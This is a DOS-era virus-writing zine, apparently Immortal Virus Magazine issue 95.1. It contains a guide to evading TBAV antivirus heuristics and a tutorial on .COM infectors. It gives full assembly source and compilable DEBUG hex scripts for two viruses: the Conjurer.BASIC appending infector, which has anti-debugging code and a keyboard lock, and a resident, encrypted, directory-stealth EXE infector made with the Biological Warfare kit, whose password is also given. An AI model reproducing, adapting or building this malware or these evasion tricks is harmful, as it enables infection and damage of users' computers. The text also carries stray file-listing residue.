3377 lines
144 KiB
Groff
3377 lines
144 KiB
Groff
------------------------------Immortal Virus Magazine-------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
-----------------------------TBAV fooling techiniques--------------------------
|
||
|
||
The heuristic scans we will discuss are:
|
||
|
||
- F : Suspicious file-access
|
||
- S : Search for .EXE / .COM files
|
||
- D : Direct disk access
|
||
- # : Encryption and/or debugger trap
|
||
- G : Grabage instructions
|
||
- E : Flexible entrypoint
|
||
-------------------------------------------------------------------------------
|
||
- F : Suspicious file-access
|
||
|
||
There are different ways to fool TBAV on this one.
|
||
1.) The easiest way is to add 10 or something at the MOVe instruction
|
||
and then SUBstract 10: TBAV will think you use the original MOVe.
|
||
e.g: MOV AH, 50h
|
||
SUB AH, 10h ;50h will turn into 40h Dos fnc: Write
|
||
INT 21h
|
||
|
||
2.) This is a bit tougher, you redirect int 21h to some other unused
|
||
interrupt. There is no need to unlink the new interrupt.
|
||
|
||
e.g: MOV AX, 3521h ;Get dos int address in ES:BX
|
||
INT 21H
|
||
PUSH ES ;DS == ES
|
||
POP DS
|
||
MOV AX, 2560h ;Int 60H will become int 21h
|
||
INT 21h
|
||
MOV AH, 40h ;Dos fnc: Write
|
||
INT 60h ;The new interrupt
|
||
-------------------------------------------------------------------------------
|
||
- S : Search for .EXE / .COM files
|
||
|
||
There are again a few ways to fool TBAV on this one.
|
||
1.) Somewhere in your virus is a filespec (e.g. '*.COM'), just change the
|
||
'*' into something else ('Z.COM') and when the function 3Fh or something
|
||
is called change it to a '*' again, afterwards change it to a 'Z' again.
|
||
|
||
e.g: MOV BYTE PTR [FSPC+BP],'*'
|
||
MOV AX,3F00h
|
||
INT 21h
|
||
MOV BYTE PTR [FSPC+BP],'Z'
|
||
|
||
FSPC DB 'Z.COM',0
|
||
|
||
2.) You can also use the first technique about hiding the 'F' flag.
|
||
-------------------------------------------------------------------------------
|
||
- D : Direct disk access
|
||
|
||
Once again there are a few ways to let TBAV eat his 'D' flag.
|
||
1.) Change the INT 26h realtime: Create a label or something and put
|
||
an int 21h or something, and change it to int 26h in your virus.
|
||
|
||
e.g. MOV BYTE PTR [I26L+1+BP],26h ;Change INT 21h to INT 26h
|
||
I26L: INT 21h ;Here will be the INT 26h
|
||
MOV BYTE PTR [I26L+1+BP],21h ;Change INT 26h to INT 21h
|
||
|
||
2.) You can also use the second technique about hiding the 'F' flag.
|
||
-------------------------------------------------------------------------------
|
||
- # : Encryption and/or debugger trap
|
||
|
||
Once again there are several ways to shit TBAV.
|
||
1.) For a debugger trap you can use the first techinique about the 'F' flag.
|
||
2.) Use an unlogic call stucture. First CALL the decryption routine, then
|
||
JuMP to the main virus.
|
||
|
||
e.g. CALL DC ;Call your decryption routine
|
||
JMP ST ;JuMP to the start of your virus
|
||
NOP ;To fool TBAV
|
||
ST: . ;Put your virus here
|
||
.
|
||
.
|
||
DC: RET ;Put the decryption routine here!
|
||
-------------------------------------------------------------------------------
|
||
- G : Garbage instructions
|
||
|
||
There's one thing to do to get rid of this flag.
|
||
OPTIMIZE!
|
||
e.g. You can turn turn two nops into two eXCHanGes:
|
||
NOP
|
||
NOP
|
||
will be:
|
||
XCHG AX,BX
|
||
XCHG CX,AX
|
||
or something like that.
|
||
You can also put often used routines in a CALL routine (e.g. Get Time,etc)
|
||
-------------------------------------------------------------------------------
|
||
- E : Flexible entry-point
|
||
|
||
There are many ways to avoid this, the best one is to put this little
|
||
routine at the beginning of your virus:
|
||
|
||
XCHG AX,BX ;Avoid 'G' & 'E' flags
|
||
XCHG CX,AX
|
||
CALL DELTA
|
||
DELTA: POP BP
|
||
SUB BP, OFFSET DELTA
|
||
|
||
Entrypoint will be in BP
|
||
-------------------------------------------------------------------------------
|
||
By: [Hacking Hell]------------------------------Immortal Virus Magazine-------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
--------------------------The basics of a .COM infector------------------------
|
||
|
||
We'll begin with the search .COM routine of a virus.
|
||
The best way is to to use function 4Eh & 4Fh.
|
||
- Function 4Eh Find First file
|
||
Inputs: It needs a DTA set.
|
||
DS:DX = Filespec
|
||
BX = Attribute
|
||
Outputs: DTA + 1Eh = Filename + 0 byte
|
||
- Function 4Fh Find next file
|
||
Inputs: By function 4Eh or 4Fh pre-initiated DTA
|
||
Outputs: DTA + 1Eh = Filename + 0 byte
|
||
|
||
Now, the implementation technique.
|
||
I think the best way is to make a four byte jump table and an original bytes
|
||
table, the jump table exists out of an 0E9h byte, two 00h bytes and an
|
||
identification byte (eg. DB 0E9h,00h,00h,'C'), in the original bytes
|
||
table the first four bytes will be stored. First read the original bytes,
|
||
store then in the org. bytes table, append then virus at the end, calculate
|
||
the jump offset, place them in the jump table, write the jump table at the
|
||
beginning of the victim file.
|
||
|
||
- Function 3Dh Open file
|
||
Inputs: AL = Mode ( 02h = Random access )
|
||
DS:DX = Filename ( eg. DTA + 1Eh )
|
||
Outputs: AX = File-handle ( eXCHanGe to BX for other functions )
|
||
|
||
- Function 3Fh Read from file
|
||
Inputs: CX = Bytes to read
|
||
DS:DX = Destination of read
|
||
BX = File-handle
|
||
|
||
- Function 42h Set file-pointer
|
||
AL = Mode ( 00h = From SOF / 02h = From EOF)
|
||
DX:CX = Offset in file (0:0 for SOF / EOF)
|
||
|
||
- Function 40h Write into file
|
||
CX = Bytes to write
|
||
DS:DX = Offset of data to write
|
||
BX = File-handle
|
||
|
||
- Function 3Eh Close file
|
||
BX = File-handle
|
||
|
||
Now here follows the assembly source and a debug script of the Conjurer Basic
|
||
virus, created by [Hacking Hell] & [Cyborg], it's 270 bytes large and a good
|
||
example virus for the techniques you may have learned...
|
||
|
||
-------------------------------------<CUT>-------------------------------------
|
||
; Conjurer.BASIC virus...
|
||
|
||
%OUT CoNJuReR.BASIC virus by [Hacking Hell] & [Cyborg]
|
||
%OUT Appending non-descructive non-resident non-flagged virus.
|
||
%OUT Features:
|
||
%OUT - Anti trace meganism
|
||
%OUT - 99% TBAV proof (almost no flags)
|
||
%OUT - Traversal (DotDot technique)
|
||
%OUT - Little message
|
||
%OUT - 13% chance for a keyboard lock
|
||
|
||
.model tiny
|
||
.code
|
||
|
||
ORG 100h ;COM file remember?!?
|
||
|
||
dummy: db 0e9h,02h,00h ;The dummy host: jump to START
|
||
db 'C' ;Already infected marker
|
||
ret ;Exit from dummy
|
||
|
||
start: push cx ;Some junk to fool TBAV
|
||
pop bx
|
||
|
||
mov ax,0fa01h ;Let's take down MSAV!!!
|
||
mov dx,05945h
|
||
int 16h
|
||
|
||
call getdlt ;Nice way to get delta offset!
|
||
realst:
|
||
getdlt: pop bp
|
||
sub bp, offset getdlt
|
||
call encdec
|
||
jmp codest
|
||
|
||
nop ;TBAV eats '#'
|
||
|
||
codest: lea si,[orgbts+bp] ;Restore first 4 bytes
|
||
mov di,0100h
|
||
movsw
|
||
movsw
|
||
|
||
push cs ;DS <==> CS
|
||
pop ds
|
||
|
||
lea dx,[eov+bp] ;Set DTA address
|
||
mov ah,1ah
|
||
int 21h
|
||
|
||
mov ax,3501h ;Crash INT 1
|
||
sub ah,10h
|
||
mov bx,0000h
|
||
mov es,bx
|
||
int 21h
|
||
|
||
mov al,03h ;Crash INT 3
|
||
int 21h
|
||
|
||
mov ah,2ch ;13% chance to lock keyboard!
|
||
int 21h
|
||
cmp dl, 0dh
|
||
jg nolock
|
||
|
||
lockkb: mov al,82h ;Keyboard lock!
|
||
out 21h,al
|
||
|
||
nolock: mov ah,2ch ;50% chance to print message!
|
||
int 21h
|
||
cmp dl,32h
|
||
jl spread
|
||
|
||
mov ah,09h ;Bingo! print message!
|
||
lea dx, [bp+offset welcome]
|
||
int 21h
|
||
mov ah,00h ;Wait for a key!
|
||
int 16h
|
||
jmp spread
|
||
|
||
welcome db 'CoNJuReR.BSC!',07h,0ah,0dh,'$';Ever seen a DB in the middle of a file?
|
||
|
||
spread: mov byte ptr [infcnt+bp],0
|
||
spraed: mov ah,4eh ;Findfirst
|
||
lea dx,[fspec+bp] ;Filespec=*.COM
|
||
|
||
fnext: cmp byte ptr [infcnt+bp],5
|
||
je re_dta
|
||
|
||
int 21h
|
||
jc dotdot ;No files found
|
||
call infect
|
||
|
||
nextf: mov ah,4fh ;Find next file
|
||
jmp fnext
|
||
|
||
dotdot: lea dx,[offset dotspec+bp]
|
||
mov ax,3b00h
|
||
int 21h
|
||
jnc spraed
|
||
|
||
re_dta: mov ah,1ah ;Reset DTA
|
||
mov dx,0080h
|
||
int 21h
|
||
|
||
mov di,0100h ;Return control to original file!
|
||
push di
|
||
ret
|
||
|
||
|
||
fspec db '*.com',0
|
||
infcnt db 0
|
||
dotspec db '..',0
|
||
jmptbl db 0e9h,02h,00h,'C'
|
||
orgbts: db 90h,90h,90h,90h
|
||
eoe:
|
||
infect: lea dx,[eov+1eh+bp] ;Open file
|
||
mov ax,3d02h
|
||
int 21h
|
||
|
||
jc nextf ;Error opening file, next!
|
||
|
||
xchg bx,ax
|
||
|
||
mov cx,0004h ;Read first 4 bytes for check
|
||
mov ah,3fh ; if already infected!
|
||
lea dx,[orgbts+bp]
|
||
int 21h
|
||
|
||
cmp byte ptr [orgbts+bp+3],'C' ;Already infected
|
||
jz shutit
|
||
|
||
mov ax,4202h ;Goto eof
|
||
sub cx,cx ;2 byte version of mov cx,0!!
|
||
cwd ;1 byte version of mov dx,0!!
|
||
int 21h
|
||
|
||
sub ax,0003h ;Use our jmp table
|
||
mov word ptr [bp+jmptbl+1],ax
|
||
|
||
mov ah,40h ;Implend our viral code into victim
|
||
mov cx,eov-start
|
||
lea dx,[bp+start]
|
||
int 21h
|
||
|
||
mov ax,4200h ;Goto SOF
|
||
sub cx,cx
|
||
cwd
|
||
int 21h
|
||
|
||
mov ah,40h ;Write first four bytes over
|
||
mov cx,0004h ; the original
|
||
lea dx,[bp+jmptbl]
|
||
int 21h
|
||
|
||
inc byte ptr [infcnt+bp]
|
||
|
||
shutit: mov ah,3eh ;Close victim
|
||
int 21h
|
||
ret
|
||
encdec: ret ;No encryption support yet...
|
||
eov:
|
||
end dummy
|
||
-------------------------------------<CUT>------------------------------------
|
||
Now the DEBUG script for all of you who don't have an assembler!
|
||
-------------------------------------<CUT>------------------------------------
|
||
N CONJURER.COM
|
||
E 0100 E9 02 00 43 C3 51 5B B8 01 FA BA 45 59 CD 16 E8
|
||
E 0110 00 00 5D 81 ED 12 01 E8 F8 00 EB 02 90 90 8D B6
|
||
E 0120 BA 01 BF 00 01 A5 A5 0E 1F 8D 96 13 02 B4 1A CD
|
||
E 0130 21 B8 01 35 80 EC 10 BB 00 00 8E C3 CD 21 B0 03
|
||
E 0140 CD 21 B4 2C CD 21 80 FA 0D 7F 04 B0 82 E6 21 B4
|
||
E 0150 2C CD 21 80 FA 32 7C 20 B4 09 8D 96 67 01 CD 21
|
||
E 0160 B4 00 CD 16 EB 12 90 43 6F 4E 4A 75 52 65 52 2E
|
||
E 0170 42 53 43 21 07 0A 0D 24 C6 86 B2 01 00 B4 4E 8D
|
||
E 0180 96 AC 01 80 BE B2 01 05 74 16 CD 21 72 07 E8 2D
|
||
E 0190 00 B4 4F EB EE 8D 96 B3 01 B8 00 3B CD 21 73 DD
|
||
E 01A0 B4 1A BA 80 00 CD 21 BF 00 01 57 C3 2A 2E 63 6F
|
||
E 01B0 6D 00 00 2E 2E 00 E9 02 00 43 90 90 90 90 8D 96
|
||
E 01C0 31 02 B8 02 3D CD 21 72 C8 93 B9 04 00 B4 3F 8D
|
||
E 01D0 96 BA 01 CD 21 80 BE BD 01 43 74 31 B8 02 42 2B
|
||
E 01E0 C9 99 CD 21 2D 03 00 89 86 B7 01 B4 40 B9 0E 01
|
||
E 01F0 8D 96 05 01 CD 21 B8 00 42 2B C9 99 CD 21 B4 40
|
||
E 0200 B9 04 00 8D 96 B6 01 CD 21 FE 86 B2 01 B4 3E CD
|
||
E 0210 21 C3 C3
|
||
|
||
RCX
|
||
113
|
||
W
|
||
Q
|
||
-------------------------------------<CUT>------------------------------------
|
||
------------------------------------------------------------------------------
|
||
|
||
By: [Hacking Hell]------------------------------Immortal Virus Magazine--------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
-----------------------------------Virus Labs----------------------------------
|
||
|
||
In this section I will test a Virus Lab, this section will return every
|
||
issue.
|
||
In this issue:
|
||
|
||
Biological Warfare v0.90<EFBFBD> by MnemoniX
|
||
|
||
Some features of this great package:
|
||
+ Resident
|
||
+ Encryption
|
||
+ (Extended) dir stealth
|
||
+ COM and/or EXE infections
|
||
+ Int 24h handler
|
||
+ Anti - Trace code
|
||
+ Traverse directory
|
||
+ Infections per run can be set to unlimited
|
||
+ Check for COM size
|
||
+ Check for COMMAND.COM
|
||
+ Random .EXE marker
|
||
+ .EXE overlay check
|
||
|
||
Some weaknesses about Biological Warfare:
|
||
- 'Log-in' password
|
||
- Easy to detect
|
||
- No 'configuration files'
|
||
|
||
The viruses can be made resident, when they are, you can make it infect files
|
||
on: Execution and/or opening of .COM / .EXE files. The encryption is pretty
|
||
good. The anti-trace code works. There really is not much to say about this
|
||
wonderfull package! Version 1.00 also has a polymorphic engine!
|
||
|
||
Score: 8.7
|
||
Btw. The log-in password is Lo-Tek
|
||
-------------------------------------<CUT>-------------------------------------
|
||
; Here is an example of a virus created by Biological Warefare:
|
||
; Features:
|
||
; - TSR
|
||
; - EXE infector
|
||
; - Extended DIR stealth
|
||
; - Encrypted
|
||
; - Spread on execution of virus
|
||
;Have Fun!
|
||
; IVM-Vir.ASM : Download IVM, it's a good magazine (WHQ: +31 (0)77-547477)
|
||
; Created with Biological Warfare - Version 0.90<EFBFBD> by MnemoniX
|
||
|
||
PING equ 0EA93h
|
||
PONG equ 080Eh
|
||
STAMP equ 25
|
||
MARKER equ 04945h
|
||
|
||
code segment
|
||
org 0
|
||
assume cs:code,ds:code
|
||
|
||
start:
|
||
db 0E9h,3,0 ; to virus
|
||
host:
|
||
db 0CDh,20h,0 ; host program
|
||
virus_begin:
|
||
|
||
db 0BBh ; decryption module
|
||
code_offset dw offset virus_code
|
||
mov di,VIRUS_SIZE / 2 + 1
|
||
|
||
decrypt:
|
||
db 02Eh,081h,2Fh ; SUB CS:[BX]
|
||
cipher dw 0
|
||
inc bx
|
||
inc bx
|
||
dec di
|
||
jnz decrypt
|
||
|
||
|
||
virus_code:
|
||
call $ + 3 ; BP is instruction ptr.
|
||
pop bp
|
||
sub bp,offset $ - 1
|
||
|
||
push ds es
|
||
|
||
cli
|
||
mov ax,PING ; mild anti-trace code
|
||
push ax
|
||
pop ax
|
||
dec sp
|
||
dec sp
|
||
pop bx
|
||
cmp ax,bx
|
||
je no_trace
|
||
hlt
|
||
|
||
no_trace:
|
||
sti
|
||
in al,21h ; lock out & reopen keyboard
|
||
xor al,2
|
||
out 21h,al
|
||
xor al,2
|
||
out 21h,al
|
||
|
||
mov ax,PING ; test for residency
|
||
int 21h
|
||
cmp dx,PONG
|
||
je installed
|
||
|
||
mov ax,es ; Get PSP
|
||
dec ax
|
||
mov ds,ax ; Get MCB
|
||
|
||
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
|
||
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
|
||
mov es,word ptr ds:[12h]
|
||
|
||
push cs ; copy virus into memory
|
||
pop ds
|
||
xor di,di
|
||
mov si,bp
|
||
mov cx,(virus_end - start) / 2 + 1
|
||
rep movsw
|
||
|
||
xor ax,ax ; capture interrupts
|
||
mov ds,ax
|
||
|
||
sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024
|
||
|
||
mov si,21h * 4 ; get original int 21
|
||
mov di,offset old_int_21
|
||
movsw
|
||
movsw
|
||
|
||
mov word ptr ds:[si - 4],offset new_int_21
|
||
mov ds:[si - 2],es ; and set new int 21
|
||
|
||
installed:
|
||
call activate ; activation routine
|
||
|
||
pop es ds ; restore segregs
|
||
exe_exit:
|
||
mov ax,ds ; fix up return address
|
||
add ax,10h
|
||
push ax
|
||
add ax,cs:[bp + exe_cs]
|
||
mov cs:[bp + return_cs],ax
|
||
|
||
mov ax,cs:[bp + exe_ip]
|
||
mov cs:[bp + return_ip],ax
|
||
|
||
pop ax
|
||
add ax,cs:[bp + exe_ss] ; restore stack
|
||
cli
|
||
mov ss,ax
|
||
mov sp,cs:[bp + exe_sp]
|
||
|
||
call fix_regs ; fix up registers
|
||
sti
|
||
|
||
db 0EAh ; back to host program
|
||
return_ip dw 0
|
||
return_cs dw 0
|
||
|
||
exe_cs dw -16 ; orig CS:IP
|
||
exe_ip dw 103h
|
||
exe_sp dw -2 ; orig SS:SP
|
||
exe_ss dw -16
|
||
|
||
fix_regs:
|
||
xor ax,ax
|
||
cwd
|
||
xor bx,bx
|
||
mov si,100h
|
||
xor di,di
|
||
xor bp,bp
|
||
ret
|
||
|
||
; interrupt 21 handler
|
||
int_21:
|
||
pushf
|
||
call dword ptr cs:[old_int_21]
|
||
ret
|
||
|
||
new_int_21:
|
||
cmp ax,PING ; residency test
|
||
je ping_pong
|
||
cmp ah,11h ; directory stealth
|
||
je dir_stealth
|
||
cmp ah,12h
|
||
je dir_stealth
|
||
cmp ah,4Eh ; directory stealth
|
||
je dir_stealth_2
|
||
cmp ah,4Fh
|
||
je dir_stealth_2
|
||
cmp ax,4B00h ; execute program
|
||
jne int_21_exit
|
||
jmp execute
|
||
int_21_exit:
|
||
db 0EAh ; never mind ...
|
||
old_int_21 dd 0
|
||
|
||
ping_pong:
|
||
mov dx,PONG
|
||
iret
|
||
|
||
dir_stealth:
|
||
call int_21 ; get dir entry
|
||
test al,al
|
||
js dir_stealth_done
|
||
|
||
push ax bx es
|
||
mov ah,2Fh
|
||
int 21h
|
||
|
||
cmp byte ptr es:[bx],-1 ; check for extended FCB
|
||
jne no_ext_FCB
|
||
add bx,7
|
||
no_ext_FCB:
|
||
mov ax,es:[bx + 17h] ; check for infection marker
|
||
and al,31
|
||
cmp al,STAMP
|
||
jne dir_fixed
|
||
|
||
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
|
||
sbb word ptr es:[bx + 1Fh],0
|
||
dir_fixed:
|
||
pop es bx ax
|
||
dir_stealth_done:
|
||
iret
|
||
|
||
dir_stealth_2:
|
||
pushf
|
||
call dword ptr cs:[old_int_21]
|
||
jc dir_stealth_done_2
|
||
|
||
check_infect2:
|
||
push ax bx es
|
||
|
||
mov ah,2Fh
|
||
int 21h
|
||
mov ax,es:[bx + 16h]
|
||
and al,31 ; check timestamp
|
||
cmp al,STAMP
|
||
jne fixed_2
|
||
|
||
sub es:[bx + 1Ah],VIRUS_SIZE + 3
|
||
sbb word ptr es:[bx + 1Ch],0
|
||
|
||
fixed_2:
|
||
pop es bx ax
|
||
clc ; clear carry
|
||
dir_stealth_done_2:
|
||
retf 2
|
||
execute:
|
||
push ax bx cx dx si di ds es
|
||
|
||
xor ax,ax ; critical error handler
|
||
mov es,ax ; routine - catch int 24
|
||
mov es:[24h * 4],offset int_24
|
||
mov es:[24h * 4 + 2],cs
|
||
|
||
mov ax,4300h ; change attributes
|
||
int 21h
|
||
|
||
push cx dx ds
|
||
xor cx,cx
|
||
call set_attributes
|
||
|
||
mov ax,3D02h ; open file
|
||
int 21h
|
||
jc cant_open
|
||
xchg bx,ax
|
||
|
||
push cs ; CS = DS
|
||
pop ds
|
||
|
||
mov ax,5700h ; save file date/time
|
||
int 21h
|
||
push cx dx
|
||
mov ah,3Fh
|
||
mov cx,28
|
||
mov dx,offset read_buffer
|
||
int 21h
|
||
|
||
cmp word ptr read_buffer,'ZM' ; .EXE?
|
||
je infect_exe ; yes, infect as .EXE
|
||
|
||
jmp dont_infect
|
||
|
||
fix_date_time:
|
||
pop dx cx
|
||
and cl,-32 ; add time stamp
|
||
or cl,STAMP ; for directory stealth
|
||
mov ax,5701h ; restore file date/time
|
||
int 21h
|
||
|
||
close:
|
||
pop ds dx cx ; restore attributes
|
||
call set_attributes
|
||
|
||
mov ah,3Eh ; close file
|
||
int 21h
|
||
|
||
cant_open:
|
||
pop es ds di si dx cx bx ax
|
||
jmp int_21_exit ; leave
|
||
|
||
|
||
set_attributes:
|
||
mov ax,4301h
|
||
int 21h
|
||
ret
|
||
|
||
dont_infect:
|
||
pop cx dx ; can't infect, skip
|
||
jmp close
|
||
|
||
infect_exe:
|
||
cmp word ptr read_buffer[26],0
|
||
jne dont_infect ; overlay, don't infect
|
||
|
||
cmp word ptr read_buffer[16],MARKER
|
||
je dont_infect ; infected already
|
||
|
||
les ax,dword ptr read_buffer[20]
|
||
mov exe_cs,es ; CS
|
||
mov exe_ip,ax ; IP
|
||
|
||
les ax,dword ptr read_buffer[14]
|
||
mov exe_ss,ax ; SS
|
||
mov exe_sp,es ; SP
|
||
mov word ptr read_buffer[16],MARKER
|
||
|
||
mov ax,4202h ; to end of file
|
||
cwd
|
||
xor cx,cx
|
||
int 21h
|
||
|
||
push ax dx ; save file size
|
||
|
||
push bx
|
||
mov cl,12 ; calculate offsets for CS
|
||
shl dx,cl ; and IP
|
||
mov bx,ax
|
||
mov cl,4
|
||
shr bx,cl
|
||
add dx,bx
|
||
and ax,15
|
||
pop bx
|
||
|
||
sub dx,word ptr read_buffer[8]
|
||
mov word ptr read_buffer[22],dx
|
||
mov word ptr read_buffer[20],ax
|
||
add dx,100
|
||
mov word ptr read_buffer[14],dx
|
||
|
||
pop dx ax ; calculate prog size
|
||
|
||
add ax,VIRUS_SIZE + 3
|
||
adc dx,0
|
||
mov cx,512 ; in pages
|
||
div cx ; then save results
|
||
inc ax
|
||
mov word ptr read_buffer[2],dx
|
||
mov word ptr read_buffer[4],ax
|
||
mov dx,word ptr read_buffer[20]
|
||
call encrypt_code ; encrypt virus
|
||
|
||
|
||
mov ah,40h
|
||
mov cx,VIRUS_SIZE + 3
|
||
mov dx,offset encrypt_buffer
|
||
int 21h
|
||
|
||
|
||
mov ax,4200h ; back to beginning
|
||
cwd
|
||
xor cx,cx
|
||
int 21h
|
||
|
||
mov ah,40h ; and fix up header
|
||
mov cx,28
|
||
mov dx,offset read_buffer
|
||
int 21h
|
||
jmp fix_date_time ; done
|
||
|
||
courtesy_of db '[BW]',0
|
||
signature db 'Download IVM, its a good magazine (WHQ: +31 (0)77-547477)',0
|
||
birthday db 'Happy birthday [Hacking Hell] !!',0Ah,0Dh,'$',0
|
||
|
||
activate: mov ah,2ah
|
||
cmp dx,0B08h
|
||
jne exit_act
|
||
mov ah, 09h
|
||
lea dx, [offset birthday+bp]
|
||
int 21h
|
||
; Insert your routine here
|
||
exit_act: ret
|
||
|
||
encrypt_code:
|
||
push ax cx
|
||
|
||
push dx
|
||
xor ah,ah ; get time for random number
|
||
int 1Ah
|
||
|
||
mov cipher,dx ; save encryption key
|
||
pop cx
|
||
add cx,virus_code - virus_begin
|
||
mov code_offset,cx ; save code offset
|
||
|
||
push cs ; ES = CS
|
||
pop es
|
||
|
||
mov si,offset virus_begin ; move decryption module
|
||
mov di,offset encrypt_buffer
|
||
mov cx,virus_code - virus_begin
|
||
rep movsb
|
||
|
||
mov cx,VIRUS_SIZE / 2 + 1
|
||
encrypt:
|
||
lodsw ; encrypt virus code
|
||
add ax,dx
|
||
stosw
|
||
loop encrypt
|
||
|
||
pop cx ax
|
||
ret
|
||
|
||
int_24:
|
||
mov al,3 ; int 24 handler
|
||
iret
|
||
virus_end:
|
||
VIRUS_SIZE equ virus_end - virus_begin
|
||
read_buffer db 28 dup (?) ; read buffer
|
||
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
|
||
|
||
end_heap:
|
||
|
||
MEM_SIZE equ end_heap - start
|
||
|
||
code ends
|
||
end start
|
||
-------------------------------------<CUT>-------------------------------------
|
||
N IVM-VIR.COM
|
||
E 0100 E9 03 00 CD 20 00 BB 16 00 BF 80 01 2E 81 2F 00
|
||
E 0110 00 43 43 4F 75 F6 E8 00 00 5D 81 ED 19 00 1E 06
|
||
E 0120 FA B8 93 EA 50 58 4C 4C 5B 3B C3 74 01 F4 FB E4
|
||
E 0130 21 34 02 E6 21 34 02 E6 21 B8 93 EA CD 21 81 FA
|
||
E 0140 0E 08 74 3A 8C C0 48 8E D8 81 2E 03 00 80 00 81
|
||
E 0150 2E 12 00 80 00 8E 06 12 00 0E 1F 33 FF 8B F5 B9
|
||
E 0160 83 01 F3 A5 33 C0 8E D8 83 2E 13 04 02 90 BE 84
|
||
E 0170 00 BF F2 00 A5 A5 C7 44 FC D0 00 8C 44 FE E8 43
|
||
E 0180 02 07 1F 8C D8 05 10 00 50 2E 03 86 B4 00 2E 89
|
||
E 0190 86 B2 00 2E 8B 86 B6 00 2E 89 86 B0 00 58 2E 03
|
||
E 01A0 86 BA 00 FA 8E D0 2E 8B A6 B8 00 E8 0E 00 FB EA
|
||
E 01B0 00 00 00 00 F0 FF 03 01 FE FF F0 FF 33 C0 99 33
|
||
E 01C0 DB BE 00 01 33 FF 33 ED C3 9C 2E FF 1E F2 00 C3
|
||
E 01D0 3D 93 EA 74 21 80 FC 11 74 20 80 FC 12 74 1B 80
|
||
E 01E0 FC 4E 74 46 80 FC 4F 74 41 3D 00 4B 75 03 EB 65
|
||
E 01F0 90 EA 00 00 00 00 BA 0E 08 CF E8 CC FF 84 C0 78
|
||
E 0200 28 50 53 06 B4 2F CD 21 26 80 3F FF 75 03 83 C3
|
||
E 0210 07 26 8B 47 17 24 1F 3C 19 75 0B 26 81 6F 1D 01
|
||
E 0220 03 26 83 5F 1F 00 07 5B 58 CF 9C 2E FF 1E F2 00
|
||
E 0230 72 20 50 53 06 B4 2F CD 21 26 8B 47 16 24 1F 3C
|
||
E 0240 19 75 0B 26 81 6F 1A 01 03 26 83 5F 1C 00 07 5B
|
||
E 0250 58 F8 CA 02 00 50 53 51 52 56 57 1E 06 33 C0 8E
|
||
E 0260 C0 26 C7 06 90 00 01 03 26 8C 0E 92 00 B8 00 43
|
||
E 0270 CD 21 51 52 1E 33 C9 E8 48 00 B8 02 3D CD 21 72
|
||
E 0280 36 93 0E 1F B8 00 57 CD 21 51 52 B4 3F B9 1C 00
|
||
E 0290 BA 04 03 CD 21 81 3E 04 03 4D 5A 74 2F EB 29 90
|
||
E 02A0 5A 59 80 E1 E0 80 C9 19 B8 01 57 CD 21 1F 5A 59
|
||
E 02B0 E8 0F 00 B4 3E CD 21 07 1F 5F 5E 5A 59 5B 58 E9
|
||
E 02C0 2F FF B8 01 43 CD 21 C3 59 5A EB E1 83 3E 1E 03
|
||
E 02D0 00 75 F5 81 3E 14 03 45 49 74 ED C4 06 18 03 8C
|
||
E 02E0 06 B4 00 A3 B6 00 C4 06 12 03 A3 BA 00 8C 06 B8
|
||
E 02F0 00 C7 06 14 03 45 49 B8 02 42 99 33 C9 CD 21 50
|
||
E 0300 52 53 B1 0C D3 E2 8B D8 B1 04 D3 EB 03 D3 25 0F
|
||
E 0310 00 5B 2B 16 0C 03 89 16 1A 03 A3 18 03 83 C2 64
|
||
E 0320 89 16 12 03 5A 58 05 01 03 90 83 D2 00 B9 00 02
|
||
E 0330 F7 F1 40 89 16 06 03 A3 08 03 8B 16 18 03 E8 94
|
||
E 0340 00 B4 40 B9 01 03 90 BA 20 03 CD 21 B8 00 42 99
|
||
E 0350 33 C9 CD 21 B4 40 B9 1C 00 BA 04 03 CD 21 E9 3F
|
||
E 0360 FF 5B 42 57 5D 00 44 6F 77 6E 6C 6F 61 64 20 49
|
||
E 0370 56 4D 2C 20 69 74 73 20 61 20 67 6F 6F 64 20 6D
|
||
E 0380 61 67 61 7A 69 6E 65 20 28 57 48 51 3A 20 2B 33
|
||
E 0390 31 20 28 30 29 37 37 2D 35 34 37 34 37 37 29 00
|
||
E 03A0 48 61 70 70 79 20 62 69 72 74 68 64 61 79 20 5B
|
||
E 03B0 48 61 63 6B 69 6E 67 20 48 65 6C 6C 5D 20 21 21
|
||
E 03C0 0A 0D 24 00 B4 2A 81 FA 08 0B 75 08 B4 09 8D 96
|
||
E 03D0 A0 02 CD 21 C3 50 51 52 32 E4 CD 1A 89 16 0F 00
|
||
E 03E0 59 83 C1 10 89 0E 07 00 0E 07 BE 06 00 BF 20 03
|
||
E 03F0 B9 10 00 F3 A4 B9 80 01 AD 03 C2 AB E2 FA 59 58
|
||
E 0400 C3 B0 03 CF
|
||
RCX
|
||
0304
|
||
W
|
||
Q
|
||
-------------------------------------<CUT>-------------------------------------
|
||
By: [Hacking Hell]------------------------------Immortal Virus Magazine--------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
--------------------------------Other Virus Mags-------------------------------
|
||
|
||
In this issue: 40-HEX by Phalcon/Skism (Creators of PS-MPC).
|
||
|
||
This magazine is really OK. It contains a lot of USEFULL information, a lot
|
||
of virus sources / spotlights / hex-scripts, the creators put their own
|
||
PS-MPC 0.90<EFBFBD> in issue 8, that was really k00l! My main interrests in 40HEX
|
||
are most of the time the virus sources, you can get some k00l ideas out of
|
||
that. They use the normal english / american language instead of some
|
||
funky written language.
|
||
|
||
- The virus spotlights contain various information on a specific virus,
|
||
just like our spotlights.
|
||
|
||
- The virus sources / scripts are mostly direct compilable / debuggable,
|
||
so you don't have to write your own stuff in it, that's really k00l!
|
||
|
||
- 40-HEX 1 / 14 are available on our (and many other's) WHQ:
|
||
|
||
Arrested Development: +31 77-547477
|
||
|
||
Written by: The FOXMan------------------------------Immortal Virus Magazine--------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
------------------------------Spotlight: 4096 / Frodo--------------------------
|
||
|
||
Isolated: January, 1990
|
||
Origin : Israel
|
||
Type : Parasitic Memory-Resident .COM and .EXE infector
|
||
Symptoms: A lot of cross-linked files, decrease of free memory,
|
||
when not loaded increase of file-size.
|
||
|
||
